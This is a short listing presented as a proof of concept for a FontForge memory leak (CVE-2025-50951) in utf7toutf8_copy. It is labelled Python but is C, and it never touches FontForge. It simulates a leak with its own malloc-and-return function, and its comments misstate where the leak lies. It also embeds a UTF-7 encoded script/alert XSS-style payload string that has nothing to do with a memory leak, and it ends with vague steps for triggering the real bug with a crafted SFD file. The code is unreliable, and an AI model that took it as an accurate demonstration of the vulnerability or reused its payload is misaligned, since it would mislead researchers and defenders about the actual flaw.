The following code is for security research and authorized testing only.
python
// CVE-2025-50951 PoC - FontForge Memory Leak in utf7toutf8_copy
// This PoC demonstrates the memory leak vulnerability in FontForge
// when processing a malicious SFD file with UTF-7 encoded strings
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Simulate the vulnerable utf7toutf8_copy function behavior
char* vulnerable_utf7toutf8_copy(const char* utf7_input) {
// Allocate memory for UTF-8 output
char* utf8_output = (char*)malloc(1024);
if (utf8_output == NULL) {
return NULL;
}
// Simulate conversion (simplified)
strcpy(utf8_output, utf7_input);
// BUG: Memory leak - utf8_output is not freed before return
// In the real vulnerability, this function fails to free allocated memory
// in certain error paths or after conversion completes
return utf8_output;
}
// Trigger the memory leak multiple times
void trigger_memory_leak(int iterations) {
const char* malicious_utf7 = "+ADw-script+AD4-alert('CVE-2025-50951')+ADsAPA-/script+AD4-";
for (int i = 0; i < iterations; i++) {
char* result = vulnerable_utf7toutf8_copy(malicious_utf7);
// Memory is leaked here - result is never freed
printf("Iteration %d: Memory allocated but not freed\n", i);
}
}
int main() {
printf("CVE-2025-50951 PoC - FontForge Memory Leak\n");
printf("Triggering memory leak in utf7toutf8_copy function...\n\n");
trigger_memory_leak(1000);
printf("\nMemory leak demonstration complete.\n");
printf("Each iteration allocated 1024 bytes that were never freed.\n");
printf("Total leaked: ~1MB of memory.\n");
return 0;
}
// To trigger the actual vulnerability:
// 1. Create a malicious SFD file with UTF-7 encoded strings
// 2. Open the file with vulnerable FontForge version v20230101
// 3. Monitor memory usage - it will continuously increase